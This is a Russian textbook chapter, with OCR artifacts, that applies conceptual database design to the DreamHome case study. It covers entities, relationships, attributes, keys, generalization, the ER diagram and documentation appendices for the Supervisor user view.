10.2. Применение методологии концептуального проектирования баз данных
Этап 1. Построение локальной концептуальной модели данных для представления пользователя Supervisor
Приступая к разработке локальной концептуальной модели данных для представления пользователя Supervisor в приложении DreamHome, прежде всего, следует выявить различные компоненты этой модели, используя имеющиеся спецификации требований пользователя (дальше — просто “спецификаций”)* В каждую создаваемую модель данных входят следующие компоненты:
типы сущностей;
типы связей;
атрибуты;
домены атрибутов;
потенциальные ключи;
первичные ключи.
Этап 1.1. Определение типов сущностей
Начнем работу с того, что определим основные типы сущностей исходя из имеющихся спецификаций (см. раздел 10.1.1.). В спецификациях сущности обычно представлены как существительные или выражения, содержащие существительные. Анализ показывает, что основными сущностями, упоминаемыми в спецификациях, являются следующие:
Отделение - Branch;Объявление - Advert;
Работник - Staff;Газета - Newspaper;
Инспектор - Supervisor;Собеседование - Interview;
Секретарь - Secretary;Клиент - Client;
Объект, сдаваемый в аренду - Property_for_Rent; Договор об аренде - Lease_Agreement;
Владелец - частное лицо - Private_Owner;Инспекция - Inspection.
Владелец - юридическое лицо - Business Owner;
Документирование выделенных типов сущностей
Документирование сведений о каждой из выделенных сущностей заключается в подготовке подробного определения каждой сущности, включая существующие для нее псевдонимы и описание особенностей использования — например, таких: “Каждый объект имеет единственного владельца”. Все сведения, помещенные в документацию на этом этапе, приведены в приложении 10.1, расположенном в конце этой главы.
Этап 1.2. Определение типов связей
Следующее задание состоит в определении типов связей, существующих между отдельными сущностями. Как правило, связи выражаются глаголами или глагольными сочетаниями. Для выявления всех возможных типов связей вновь обратимся к спецификациям. Результаты анализа представлены в табл. 10.1.
Таблица 10.1. Основные типы связей, выделенные в спецификациях для пользователя Supervisor
Тип сущности
Тип связи
Тип сущности
Branch (Отделение)
Has (Имеет)
Staff
Staff (Работник)
Manages (Отвечает за)
Property_for_Rent
SupervisedBy (Находится под руководством)
Supervisor
SupportedBy (Пользуется услугами)
Secretary (Секретарь)
Sets Up (Проводит)
Interview
Organizes (Оформляет)
Lease_Agreement
CarryOut (Выполняет)
Inspection
Supervisor (Инспектор)
Supervises (Руководит)
Staff
Property_for_Rent (Объект, сдаваемый в аренду)
IsAvailableAt (Закрепляется за)
Branch
ManagedBy (Обслуживается)
Staff
OwnedBy (Принадлежит)
Owner (Владелец)
Private_Owner (Владелец - частное лицо)
Owns (Владеет)
Property_for_Rent
Business_Owner (Владелец - юридическое лицо)
Owns (Владеет)
Property_for_Rent
Advert (Объявление)
Describes (Описывает)
Property_for_Rent
Placeln (Помещается в)
Newspaper (Газета)
Interview (Собеседование)
With (С)
Client
Client (Клиент)
Views (Осматривает)
Property_for_Rent
Rents (Арендует)
Property_for_Rent
Holds (Заключает)
Lease_Agreement
Lease_Agreement (Договор об аренде)
AssociatedWith (Связан с)
Property_for_Rent
Inspection (Инспекция)
MadeOf (Проводится для)
Property_for_Rent
Проанализировав табл. 10.1, можно обнаружить, что некоторые связи, по сути, являются одними и теми же. Например, два типа связей — Staff SupervisedBy Supervisor и Supervisor Supervises Staff — фактически представляют одну и ту же связь. Эта связь дважды указана в табл. 10.1 по той простой причине, что в спецификациях данная связь определена как на стороне работника (Staff), так и на стороне инспектора (Supervisor).
Очень важно тщательно проработать все спецификации, подготовленные для нашего представления (Supervisor), — это послужит гарантией того, что были выделены все связи, которые должны быть представлены в локальной концептуальной модели данных этого представления. Если в спецификациях присутствует некоторая неопределенность по поводу какой-либо связи, ее следует устранить, обратившись за необходимыми разъяснениями к пользователям.
Определение кардинальности и уровня участия отдельных типов связей
Следующий шаг — определение кардинальности и уровня участия для каждого типа связей, приведенных в табл. 10.1.
Кардинальность любой связи может иметь значение либо “один к одному” (1:1), либо “один ко многим” (1:М), либо “многие ко многим” (M:N). Для каждой связи требуется указать ее кардинальность и, если это возможно, верхний или нижний лимиты групп “М”. Участие каждого из членов связи может быть определен либо как полное (тотальное), либо как частичное. Большую часть информации, необходимой для установления кардинальности и уровня участия сторон каждой связи, можно найти в спецификациях, приведенных в разделе 10.1.1. Однако, если содержащихся в спецификациях сведений не достаточно для однозначного определения свойств некоторых связей, для прояснения ситуации следует обратиться к пользователям.
Ниже приведено несколько конкретных примеров определения кардинальности и уровня участия сторон для связей, представленных в табл. 10.1.
Связь Branch Has Staff. В спецификациях эта связь определяется следующей фразой: “Каждое отделение компании DreamHome имеет персонал ...” Другими словами, каждое из отделений компании имеет несколько работников и, следовательно, кардинальность данной связи надо определить как 1:М. Поскольку любое из отделений компании имеет персонал; степень участия сущности Branch в связи Has является полной.
Чтобы лучше разобраться в сути данной связи, рассмотрим ее в обратном направлении — Staff WorksAt Branch (Персонал работает в отделении). Текст спецификаций не содержит явного описания связи WorksAt, поэтому следует обратиться к пользователям и задать им интересующий вас вопрос.
Вопрос. Каждый из работников предприятия работает только в одном отделении компании?
Ответ. Да.
Полученный ответ указывает, что каждый работник компании может работать только в одноде из ее отделений, и, следовательно, связь WorksAt имеет кардинальность 1:1. Поскольку все работники компании работают в каком-либо из ее отделений, степень участия сущности Staff в связи WorksAt будет полной.
Теперь мы имеем возможность ссылаться на связь между сущностями Staff и Branch либо как на связь Branch Has Staff, либо как на связь Staff WorksAt Branch. Однако при отображении некоторой связи на диаграмме “сущность-связь” (ER-диаграмме), всегда следует использовать вариант с более высоким уровнем кардинальности — в нашем случае это 1:М. Поэтому за данной связью целесообразно будет сохранить то имя, которое связано с кардинальностью 1:М, т.е. с Branch Has Staff. Окончательный вариант кардинальности и степени участия сторон связи Branch Has Staff показан на рис. 10.1. Чтобы сделать ER-диаграмму более понятной конечному пользователю, очень важно использовать соответствующий случаю способ именования сущностей и связей.
Связь Property_for_Rent ManagedBy Staff. В тексте спецификаций эта связь определяется фразой: “За каждый сдаваемый в аренду объект отвечает определенный работник”. Из нее следует, что связь Property_for_Rent ManagedBy Staff имеет кардинальность 1:1.
Рис. 10.1. Связь Branch Has Staff
Дополнительно следует рассмотреть связь Property_for_Rent ManagedBy Staff и со стороны Staff Manages Property_for_Rent. В спецификациях явного описания связи Manages нет, однако нам необходимо уточнить некоторые все еще не ясные характеристики связи между сущностями Staff и Property_for_Rent. Поэтому следует обратиться к пользователям и задать им несколько вопросов.
Вопрос 1. Все ли работники компании отвечают за какой-либо из объектов?
Ответ 1. Нет. Не все работники компании заняты непосредственной работой с объектами.
Вопрос 2. Сколько объектов может быть поручено работнику, непосредственно работающему с объектами?
Ответ 2. Любому работников может быть поручено работать не более чем с десятью объектами одновременно.
Вопрос 3. Объект поручается некоторому работнику на все время его существования?
Ответ 3. Нет. Возможны ситуации, когда некоторый объект не связан ни с одним из работников компании - например, когда объект впервые регистрируется в компании или становится недоступным для сдачи в аренду.
Полученная информация позволяет прояснить, какие связи существуют между сущностями Staff и Property_for_Rent. Кардинальность связи Staff Manages Prop- erty_for_Rent равна 1:M, поскольку отдельный работник компании может отвечать сразу за несколько сдаваемых в аренду объектов. Более того, нам стало известно, что верхний предел значения кардинальности стороны “М” этой связи равен 10. Другими словами, каждый из членов персонала может отвечать одновременно за несколько объектов — но не более чем за десять. Хотя подобные сведения также могут быть представлены на ER-диаграмме, это вызовет излишнее ее усложнение. Поэтому значение максимального количества сопровождаемых работником объектов мы просто поместим в словарь данных.
Из ответов на первый и второй вопросы можно сделать вывод, что обе сущности, и Staff, и Property_for_Rent, участвуют в связи Manages частично. Это следует из того факта, что не все работники компании обязательно отвечают за работу с конкретными объектами, а также из утверждения, что не все объекты в каждый момент времени закреплены за каким-либо работником.
Рис. 10.2. Связь Staff Manages Property_for_Rent
Кардинальность и уровень участия сторон в связи между сущностями Staff и Ргор- erty_for_Rent показаны на рис. 10.2. Связь Staff Manages Property_for_Rent имеет более высокую кардинальность (1:М), поэтому на диаграмме использовано именно ее имя.
Связь Advert Describes Property_for_Rent. В спецификациях эта связь определяется следующей фразой: "... размещение объявлений с описанием сдаваемого объекта в соответствующих газетных изданиях”. Поскольку каждое газетное объявление касается только одного сдаваемого в аренду объекта, кардинальность связи Describes будет равна 1:1. При рассмотрении связи Describes со стороны сущности Ргор- erty_for_Rent обнаруживается, что связь Property_for_Rent Describedin Advert явно в спецификациях не определяется. Однако дополнительный опрос пользователей позволил установить, что по одному сдаваемому в аренду объекту может быть опубликовано несколько объявлений, поэтому кардинальность связи Describedin принимается равной 1:М. Согласно правилам присвоения имен, данная связь получает имя Property_for_Rent Describedin Advert.
Участие сущности Advert в связи Describedin является тотальным, поскольку цель публикации объявлений состоит в описании свойств сдаваемых в аренду объектов. Однако сущность Property_for_Rent участвует в этой связи лишь частично, так как в спецификациях указано, что публикация объявлений допускается только при появлении затруднений в сдаче объекта в аренду. Кардинальность и степень участи сторон в связи Property_for_Rent Describedin Advert показаны на рис. 10.3.
Связь Client Views Property_for_Rent. В спецификациях эта связь определяется следующей фразой: “... знакомить клиентов со сдаваемыми в аренду объектами”. Особенности этой связи дополнительно обсуждались с конечными пользователями, в результате чего выяснилось, что отдельный клиент может быть ознакомлен (Views) с несколькими сдаваемыми в аренду объектами (1:М), а каждый объект может быть осмотрен (ViewedBy) несколькими клиентами (1:М). Таким образом, кардинальность связи Views устанавливается как (M:N). Следует отметить, что в спецификациях связь ViewedBy явно не описывается. В случае связи типа M:N мы имеем право выбрать для отображения на диаграмме любую из двух возможных связей — как Views, так и ViewedBy. Остановимся на более простом из них, т.е. сохраним за связью имя Client Views Prop- erty_for_Rent. Для определения степени участия сторон Client и Property_for_Rent в этой связи необходимо задать пользователям два дополнительных вопроса.
Рис. 10.3. Связь Property_for_Rent Describedin Advert
Вопрос 1. Каждый ли из клиентов проводит осмотр сдаваемого в аренду объекта?
Ответ 1. Нет. Некоторые клиенты просто сообщают компании свои требования и не проводят предварительного осмотра объекта.
Вопрос 2. Каждый ли из объектов обязательно осматривается клиентами?
Ответ 2. Нет. Сведения о некоторых сдаваемых в аренду объектах просто регистрируются в компании, а осмотр их клиентами не производится.
На основании полученных ответов можно сделать заключение, что участие в связи Views обеих сущностей, и Client, и Property_for_Rent, является частичным. Кардинальность и степень участия сторон в связи Client Views Property_for_Rent показаны на рис. 10.4.
Рис. 10.4. Связь Client Views Property_for_Rent
Использование ER-диаграмм
Чтобы разобраться с тем, как сущности связаны между собой через существующие между ними связи, проще всего представить всю ситуацию наглядно, в виде диаграммы “сущность-связь”. Поэтому мы предлагаем вашему вниманию предварительный вариант ER-диаграммы, содержащей основные сущности и связи, описанные в спецификациях для представления пользователя Supervisor. Общий вид этой диаграммы показан на рис 10.5. Предполагается, что во всем дальнейшем процессе концептуального проектирования базы данных разработчики будут постоянно использовать подобные ER-диаграммы.
Обратите внимание, что для всех связей типа 1:М указаны имена, отвечающие направлению от единичной стороны к множественной. В некоторых случаях связи были переименованы. Например, связь Inspection Of Property_tor_Rent была переименована в связь Property_for_Rent Undergoes Inspection (1:M), а связь Property_for_Rent IsAvaliableAt Branch (M:1) — в связь Branch Offers Property_for_Rent (1:M).
Рис. 10.5. Предварительный вариант локальной концептуальной модели данных для представления пользователя Supervisor в приложении DreamHome
Документирование типов связей
В документацию следует поместить подробные сведения обо всех связях, показанных на рис. 10.5. Примерный вид помещаемой в документацию информации показан в приложении 10.2, расположенном в конце этой главы.
Этап 1.3. Определение атрибутов и связывание их с типами сущностей и связей
Теперь нам предстоит выделить атрибуты сущностей, которые в спецификациях также могут быть представлены существительными (или соответствующими сочетаниями). Атрибут описывает некоторый аспект определенной сущности или связи. При выполнении этого этапа следует обратить особое внимание на те случаи, когда определенный атрибут производит впечатление, что он описывает больше одного типа сущности или связи. Подобная ситуация возникает в одном из следующих случаев.
Выделено несколько сущностей подобного типа. Например, сущности Supervisor и Secretary разделяют те же атрибуты, что и сущность Staff, за исключением атрибута Typing_Speed (Скорость печати), который связан только с сущностями типа Secretary. На данном этапе достаточно просто отметить тот факт, что эти типы сущностей имеют общий набор атрибутов.
Найдена связь между сущностями разных типов. В этом случае атрибут следует связать только с родительской сущностью и уточнить, был ли описан этот тип связи при выполнении этапа 1.2. Если это не так, то необходимо обновить документацию и внести в нее детальные сведения о вновь найденном типе связи. Например, атрибуты номера объекта и адреса объекта в спецификациях представления пользователя Supervisor описаны в связи с сущностями Property, Advert, Lease_Agreement и Inspection, а также связью Views. На данном этапе достаточно просто связать атрибут с родительской сущностью (в нашем случае — Property) и убедиться, что были установлены связи между этой сущностью, остальными сущностями и связями, перечисленными в табл. 10.1.
Сведения о выделенных атрибутах и их принадлежности соответствующим сущностям и связям приведены в табл. 10.2а и б.
Таблица 10.2а. Атрибуты, принадлежащие сущностями
Тип сущности
Атрибут
Branch
Branchjto (Номер отделения)
Address (Street, Area, City, Postcode) (Адрес - Улица, Район, Город, Почтовый индекс)
Tel-No (Номер телефона)
FaX-No (Номер факса)
Staff
Staff_No (Табельный номер)
Name (FName, LName) (Имя и Фамилия)
Address
Tel-No
Sex (Пол)
DOB (Дата рождения)
Job-Title (Должность)
Supervisor
Secretary
Те же атрибуты, что и для сущности Staff Те же атрибуты, что и для сущности Staff Typing-Speed (Скорость печати)
Property_for_Rent
Property_No (Номер объекта)
Address (Street, Area, City, Postcode)
Type (Тип)
Rooms (Количество комнат)
Rent (Арендная плата)
Private-Owner
Owner-No (Номер владельца)
Name (FName, LName) Address Tel_No
Тип сущности
Атрибут
Business_Owner
Owner_No
BName (Название организации)
ВТуре (Тип организации)
Address
Tel_No
Contact_Name (Имя представителя)
Advert
Advert_No (Номер объявления) Date_Advert (Дата публикации) Newspaper_Name (Название газеты) Cost (Стоимость)
Newspaper
Newspaper_Name Address
Tel_No
Fax_No Contact-Name
Interview
Interview_Date (Дата собеседования)
Comments (Комментарии)
Client
Client_No (Номер клиента)
Name (FName, LName)
Address
Tel_No
Pref_Type (Предпочтительный тип)
MaX-Rent (Максимальный размер платы)
Lease_Agreement
Lease_No (Номер соглашения) Rent
Payment-Method (Способ платежа) Deposite-Amount (Сумма задатка) Deposite-Paid (Задаток выплачен) Rent-Start (Дата начала аренды) Rent_Finish (Дата завершения аренды) Duration (Продолжительность аренды)
Inspection
Date_Inspect (Дата инспектирования)
Comments
Таблица 10.26. Атрибуты, принадлежащие связям
Тип связиАтрибут
ViewsDate_View (Дата осмотра)
Comments (Комментарии)
Документирование выделенных атрибутов
В документацию необходимо поместить подробные сведения об атрибутах, перечисленных в табл. 10.2а и б. Для каждого атрибута следует указать общее описание, тип данных и длину значения, имеющиеся ограничения, значение по умолчанию (если таковое имеется), псевдонимы (если таковые существуют), а также является атрибут составным или производным и допустимо ли для него значение NULL. Фрагмент подобного документа приведен в приложении 10.3, приведенном в конце этой главы.
Этап 1.4. Определение доменов атрибутов
На этом этапе требуется определить домены атрибутов, помещенных в локальную концептуальную модель данных для пользователя Supervisor приложения DreamHome, Доменом называют множество допустимых значений для одного или более атрибутов. Например, домен атрибута Branch_No сущности Branch состоит из строк длиной до трех символов, которые имеют значения от 'В1' до 'В99\ Другой пример — атрибут Sex сущности Staff. Домен этого атрибута состоит из двух строк длиной в один символ со значениями 'М' и 'F'.
Примером домена, разделяемого несколькими атрибутами, является домен значений адресов. Атрибуты Address, принадлежащие сущностям Staff, Client, Private_Owner, Business_Owner и Newspaper, имеют один и тот же общий домен допустимых значений.
Документирование доменов атрибутов
Примеры доменов некоторых атрибутов локальной концептуальной модели данных пользователя Supervisor приведены в приложении 10.4, расположенном в конце данной главы.
Этап 1.5. Определение атрибутов, являющихся потенциальными и первичными ключами
Определение потенциальных ключей и выбор первичных ключей
Обратимся к табл. 10.2а и выделим в ней все возможные потенциальные ключи для каждой из сущностей, представленных в локальной концептуальной модели данных пользователя Supervisor. Затем из найденных потенциальных ключей выберем первичные ключи, наиболее подходящие для каждого типа сущности. Например, сущность Lease_Agreement имеет два потенциальных ключа — Lease No и (Property_No, Rent_Start). Очевидно, что потенциальным ключом с минимальным набором атрибутов является ключ Lease_No. Именно его и следует выбрать в качестве первичного ключа сущности Lease_Agreement. Оставшийся потенциальный ключ этой сущности (Property_No, Rent_Start) мы определяем как ее альтернативный ключ.
Результаты определения первичных и альтернативных ключей для каждой из сущностей представлены в табл. 10.3.
На этом этапе мы еще не можем назначить первичные ключи для слабых сущностей, поскольку их существование зависит от родительских сущностей. По этой причине первичные ключи для слабых сущностей будут определены только на этапе 2.2, как часть процедуры создания отношений на основании разработанной ER- диаграммы, содержащей весь набор выделенных сущностей и связей между ними.
Таблица 10.3. Сущности и их первичные и альтернативные ключи
Сущность
Первичный ключ
Альтернативный ключ•
Branch
Branchjo
Tel Jo
Staff
Staff Jo
Faxjo
Supervisor
Staff_No
Secretary
Staff Jo
PropertyjorJent
Property Jo
Private_Owner
Owner Jo
Businessjwner
Owner Jo
Advert
Advert Jo
Newspaper
Newspaperjame
Tel Jo
Interview
Client
Client Jo
Faxjo
Lease_Agreement
Lease Jo
Propertryjo, Rent Jtart
Inspection
В нашем примере сущности Interview и Inspection не имеют первичных ключей, и по этой причине мы можем классифицировать их как слабые. Первичные ключи этих сущностей можно определить только после отображения слабых сущностей и их связей с родительскими сущностями в виде отношения — точнее, после помещения в это отношение внешних ключей.
Документирование ключей
Помещенные в документацию сведения об атрибутах, являющихся первичными и альтернативными ключами каждой из сущностей, представлены в приложении 10.3, расположенном в конце данной главы.
Этап 1.6. Специализация/генерализация типов сущностей
На этом этапе принимаются (необязательные) меры по улучшению исходного варианта ER-диаграммы посредством применения процедуры генерализации или специализации сущностей, выделенных на этапе 1.1. При проведении специализации предпринимаются попытки выделить различия между сущностями. В противоположность этому при применении методов генерализации осуществляется поиск общих характеристик сущностей различных типов.
Например, на рис. 10.5 объекты Supervisor и Secretary представляют различные типы сущностей. Проверим, имеет ли смысл выполнить генерализацию этих сущностей в подклассы суперкласса Staff или лучше сохранить их как независимые типы сущностей.
Как показано в табл. 10.2а, все атрибуты сущности Staff, включая и первичный ключ, присутствуют также в сущностях Supervisor и Secretary. Более того, сущность Supervisor не имеет никаких дополнительных атрибутов, а сущность Secretary имеет единственный дополнительный атрибут с именем Typingjpeed. Однако как сущность Supervisor, так и сущность Secretary принимают участие в различных связях, например в таких, как Supervisor Supervises Staff и Secretary Supports Staff. На основании этих сведений мы принимаем решение провести генерализацию сущностей Supervisor и Secretary. Они будут представлены как подклассы суперкласса Staff. Свя-
зи, которые суперкласс “поддерживает” со своими подклассами, являются частичными и непересекающимися, поскольку один и тот же работник не может быть одновременно и инспектором, и секретарем; кроме того, только некоторые из работников отделения являются инспекторами или секретарями. Подобный вариант представления очень удобен при отображении атрибутов, разделяемых сущностями Supervisor, Secretary и Staff, — как показано на рис. 10.6.
Рис. 10.6. Суперкласс Staff и его подклассы Supervisor и Secretary
В качестве еще одного примера рассмотрим взаимоотношения между сущностями, представляющими владельцев сдаваемой в аренду собственности. В спецификациях определено два типа подобных сущностей — Private_Owner и Business^Owner. Как видно из табл. 10.1 и 10.2а, эти сущности разделяют несколько общих атрибутов (Owner No, Address и Tel_No), а также поддерживают одну и ту же связь (Owns Ргор- erty_for Rent), как показано на рис. 10.5. Однако имеются и атрибуты, специфические для сущностей Private J)wner (FName и LName) и 8usiness_0wner (BName, ВТуре и Con- tact_Name). Из всего этого следует, что данные сущности представляют различные типы владельцев собственности, сдаваемой в аренду.
Мы принимаем решение выполнить генерализацию сущностей Private_Owner и Business_Owner, обосновывая его общностью атрибутов и наличием совместно используемой связи Owns. Таким образом, сущности PrivateJDwner и Business_Owner будут представлены как отдельные подклассы суперкласса с именем Owner. Связи, которые суперкласс Owner имеет со своими подклассами, будут тотальными и непересекающимися, поскольку любой владелец собственности является либо частным, либо юридическим лицом, но не может быть одновременно и тем, и другим. Полученное представление является достаточно удобным для отображения разделяемых сущностями Private_Owner и Business_Owner атрибутов и общей связи Owns (рис. 10.7).
Хотя приведенные в этом разделе примеры являются относительно простыми и вполне очевидными, следует отметить, что процесс генерализации можно продолжить. Например, сущности Staff, Supervisor, Secretary, Private_Owner и Client представляют отдельных персон, имеющих несколько общих атрибутов (FName, LName, Address и Tel_No). Хотя четких рекомендаций по проведению процедуры генерализа- ции/специализации не существует, очень важно представить в модели данных все важнейшие сущности и связи с максимально возможной простой. Следовательно,
отображаемая на диаграмме степень специализации/генерализации должна определяться требованиями максимально возможной читабельности этой диаграммы и ясности моделирования важнейших сущностей и связей, имеющих место в реальном мире. Исходя из этих соображений мы отказались от представления на ER- диаграмме суперкласса Person.
Рис. 10.7. Суперкласс Owner и его подклассы Private^Owner и Business^Owner
Этап 1.7. Создание диаграммы „сущность-связь"
С целью получения наглядного представления основных сущностей и связей, определенных в спецификациях для пользователя Supervisor, мы перерисовали исходную ER-диаграмму (см. рис. 10.5), которая теперь имеет вид, показанный на рис. 10.8. Эта ER-диаграмма и подготовленная на этапе 1 документация (в совокупности) представляют собой локальную концептуальную модель данных для пользователя Supervisor приложения DreamHome.
Отметим, что хотя мы и использовали концепцию генерализации/специализации сущностей, относящуюся к расширенной технологии ER-моделирования (EER), мы по-прежнему будем ссылаться на представленную в этой главе и в главах 11 и 12 модель данных как на обычную ER-диаграмму — из соображений упрощения.
Этап 1.8. Обсуждение локальной концептуальной модели данных с пользователями
Прежде чем завершить выполнение первого этапа разработки базы данных, необходимо обсудить созданные локальные концептуальные модели с пользователями. При обнаружении каких-либо ошибок следует внести в проект соответствующие изменения, для чего потребуется вернуться к выполнению предыдущих этапов. Этот цикл должен повторяться до тех пор, пока пользователь не согласится с тем, что предложенный ему проект верно отражает представление каждого типа пользователя о работе предприятия.
Рис. 10.8. Локальная концептуальная модель данных для пользователя Supervisor приложения DreamHome
На втором этапе проектирования, предусмотренном данной методологией разработки баз данных, осуществляется логическое проектирование базы данных реляционного типа. Мы проиллюстрируем выполнение этого этапа на практическом примере, описываемом в главе 11, “Пример разработки логического проекта базы данных”. В качестве отправной точки будут использованы локальные концептуальные модели данных для пользователей Supervisor и Manager приложения DreamHome» разработанные в этой главе и в главе 5, “Модель “сущность-связь”” соответственно.
Упражнения
Вопросы к примеру Wellmeadows Hospital
Определите представления для пользователей Medical Director и Charge Nurse в приложении Wellmeadows Hospital» описанном в приложении А, “Учебный проект Wellmeadows Hospital”.
Подготовьте спецификации требований для каждого из этих представлений пользователей.
Разработайте локальную концептуальную модель данных для каждого из этих представлений пользователей. Обоснуйте любые предположения и допущения, сделанные вами при разработке этих концептуальных моделей.
Приложение 10.1. Сведения о типах сущностей, помещенные в документацию для представления Supervisor из приложения DreamHome
Имя сущности
Описание
Псевдонимы
Особенности использования
Branch
(Отделение)
Место работы
Офис и офис отделения
Одно или более отделений компании DreamHome размещены в основных городах Великобритании
Staff (Работник)
Общий термин, описывающий весь персонал, работающий в компании DreamHome
Каждый из сотрудников работает в одном из отделений компании
Supervisor (Инспектор)
Руководит работой персонала, отвечающего за сдачу объектов в аренду
Каждое отделение компании имеет несколько инспекторов. Каждый инспектор руководит определенной группой работников (от 5 до 10 человек)
Secretary (Секретарь)
Выполняет функции секретаря, необходимые остальному персоналу
Каждое отделение компании имеет несколько секретарей. Каждый секретарь обсуживает определенную группу основных работников
Property_for_ Rent (Объект, сдаваемый в аренду)
Общий термин, обозначающий все типы сдаваемых в аренду объектов
Каждый объект имеет единственного владельца. Каждый объект обслуживается одним из отделений компании, в котором работа с ним поручается одному из работников. Каждый объект в каждый отдельный момент времени может быть сдан в аренду единственному клиенту. За состояние каждого из объектов отвечает арендовавший его клиент. Состояние объекта инспектируется работником компании
Private_Owner (Владелец - частное лицо)
Частное лицо - владелец сдаваемого в аренду объекта
Владелец
Каждый владелец - частное лицо владеет одним или больше сдаваемых в аренду объектов
Business_Owner (Владелец - юридическое лицо)
Организация, владеющая сдаваемым в аренду объектом
Владелец
Каждый владелец - юридическое лицо владеет одним или больше сдаваемых в аренду объектов
Advert (Объявление)
Объявление с описанием объекта, сдаваемого в аренду
Каждое помещенное в газету объявление описывает отдельный сдаваемый в аренду объект
Имя сущности
Описание
Псевдонимы
Особенности использования
Newspaper (Газета)
Публикует объявления с описанием сдаваемых в аренду объектов
Объявления о сдаче объектов в аренду помещаются в местных и общенациональных газетах
Interview
(Собеседование)
Встреча, целью которой является получение согласия потенциального клиента на аренду некоторого объекта. Кроме того, устанавливаются требования, которые потенциальный клиент выдвигает в отношении арендуемого объекта
Работник проводит собеседование с клиентом, выразившим желание арендовать некоторый объект. Собеседование проводится только с некоторыми клиентами
Client (Клиент)
Общий термин, описывающий всех клиентов, заинтересованных в осмотре объектов с целью взятия их в аренду
Каждый клиент может арендовать один или более объектов в одно и то же время
Lease_Agreeme nt (Договор об аренде)
Содержит подробные сведения о соглашении об аренде некоторого объекта, заключенном между клиентом и компанией
Лицензия
Отдельное соглашение об аренде заключается всякий раз, когда некоторый клиент берет в аренду определенный объект
Inspection (Инспекция)
Содержит сведения о результатах инспекции объекта, проведенной работником компании
Инспекция объекта
Каждая инспекция проводится единственным работником компании на отдельном арендуемом объекте
Приложение 10.2. Сведения о типах связей, помещенные в документацию для представления Supervisor из приложения DreamHome
Тип сущности
Тип связиТип сущностиКардинальностьПоказатель
участия*
Branch (Отделение)
Has (Имеет)Staff1:МТ:Т
Offers (Предлагает)Property_forient1:МТ:Т
Staff (Работник)
Мапаges (Отвечает за)Property_for_Rent1:МР:Р
SetsUp (Проводит)Interview1:МР:Т
Carryout (Выполняет)Inspection (Инспекция)1:МР:Т
Тип сущности
Тип связи
Тип сущности
Кардинальность
Показатель . участия* .
Organizes (Оформляет)
Lease_Agreement
(Договор об аренде)
1:M
P:T
Supervisor (Инспектор)
Supervises (Руководит)
Staff
1:M
T:P
Secretary (Секретарь)
Supports (Предоставляет услуги)
Staff
1:M
Т:Р
Property_for_Re nt (Объект, сдаваемый в аренду)
Describedin
(Описывается)
Advert (Объявление)
1:M
Р;Т
Undergoes
(Подвергается)
Inspection
1:M
Р:Т
AssociatedWith (Связан с)
Lease Agreement
1:M
Р:Т
Private_Owner (Владелец - частное лицо)
Owns (Владеет)
Proper ty_f orient
1:M
Т:Т
Business_Owner (Владелец - юридическое лицо)
Owns
Property_f orient
1:M
Т:Т
Newspaper (Газета)
Lists (Публикует)
Advert
1:M
Т:Т
Interview
(Собеседование)
With (С)
Client
1:1
Т:Р ''
Client (Клиент)
Views (Осматривает)
Property_for_Rent
M:N
Р:Р■ ■
Rents (Арендует)
Property_for_Rent
M:N
Р:Р
Holds (Заключает)
Lease_Agreement
1:M
Р:Т
Р — частичное участие; Т — полное участие.
Приложение 10.3. Сведения об атрибутах, помещенные в документацию для представления Supervisor из приложения DreamHome1
Тип сущности
Атрибут
Описание
Тип данных, длина
Ограничения
Значение по умолчанию
Псевдоним
Допустимость Null
Прскзкцьм
Branch
Branch No
Уникальный иденти-
Символьный,
Первичный
Нет
Нет
фикатор офиса отделения
до 3 символов
ключ
Address
Адрес (составной атрибут, включает атрибуты Street, Area, City и Postcode)
Street
Улица в адресе от
Символьный,
Нет
Нет
деления
до 25 символов
Area
Район в адресе от
Символьный, до
Нет
Нет
деления
15 символов
City
Город в адресе от
Символьный, др
Нет
Нет
деления
15 символов
Postcode
Почтовый код в ад
Символьный,
Да
Нет
ресе отделения
до 8 символов
Tel_No
Номер телефона от
Символьный,
Альтернативны
Нет
Нет
деления
фиксированный
й ключ
, 13 символов
Fax_No
Номер факса
Символьный,
Альтернативны
Нет
Нет
отделения
фиксированный
й ключ
, 13 символов
Staff
Staff_No
Уникальный иденти
Символьный,
Первичный
Нет
Нет
фикатор сотрудника фирмы
до 5 символов
ключ
Тип сущности
Атрибут
Описание
Тип данных, длина
Ограничения
Значение по умолчанию
Псевдоним
Допустимость Null
Производный
Name
Имя работника (составной атрибут, включает атрибуты FName и LName)
FName
Имя работника
Символьный, до 15 символов
Нет
Нет
LName
Фамилия работника
Символьный, до 15 символов
Нет
Нет
Address
Полный домашний адрес работника компании
Символьный, до 50 символов
Нет
Нет
Tel_No
Номер домашнего телефона работника
Символьный, фиксированный, 13 символов
Да
Нет
Sex
Пол работника
Символьный, фиксированный, 1 символ
Нет
Нет
DOB
Дата рождения работника
Дата
Да
Нет
Job_Title
Должность, занимаемая работником
Символьный, до 20 символов
Да
Нет
Supervisor
Те же атрибуты, что и для сущности Staff
Определяет работника, занимающего должность инспектора
То же самое, что и для сущности Staff
То же самое, что и для сущности Staff
То же самое, что и для сущности Staff
То же самое, что и для сущности Staff
Тип сущности
Атрибут
Описание
Тип данных, длина
Ограничения
Значение по умолчанию
Псевдоним
Допустимость Nul
Производный
Secretary
Те же атри-
Определяет работни-
То же самое,
То же самое,
То же самое,
То же самое,
буты, что и
ка, занимающего
что и для
что и для
что и для сущ
что и для сущ
для сущно-
должность секретаря
сущности
сущности
ности Staff
ности Staff
сти Staff
Staff
Staff
Typing
Скорость печати в
Целое
_Speed
знаках в минуту
Property f
Property No
Уникальный иденти-
Символьный,
Первичный
Нет
Нет
or Rent
фикатор каждого
до 5 символов
ключ
объекта
Address
/Vipec (составной атрибут, включает атрибуты Street, Area, City и Postcode)
Street
Улица в адресе объ
Символьный,
Нет
Нет
екта
до 25 симво
лов
Area
Район
Символьный,
Нет
Нет
в адресе объекта
до 15 символов
City
Город
Символьный,
Нет
Нет
в адресе объекта
до 15 символов
Postcode
Почтовый код в ад
Символьный,
Да
Нет
ресе объекта
до 8 символов
Type
Тип объекта
Один символ
F (для квартиры)
Нет
Нет
Rooms
Количество комнат объекта
Целое
4
Да
Нет
Rent
Сумма месячной арендной платы
Валюта
600.00
№
Нет
1 Здесь представлена только часть словаря данных представления пользователя Supervisor.
Приложение 10.4. Сведения о доменах атрибутов, помещенные в документацию для представления Supervisor из приложения DreamHome (выборочно)
Имя домена
Характеристики доменаПримеры допустимых значений
Property^No Street
Tel_No и Fax_No Sex
Строка переменной длины, до 5 символовРА14, PL94,PG4
Строка переменной длины, до 25 символов2 Manor Rd,5 NovarDr
Строка переменной длины, до 13 символов0141-339-4439, 01224-67111
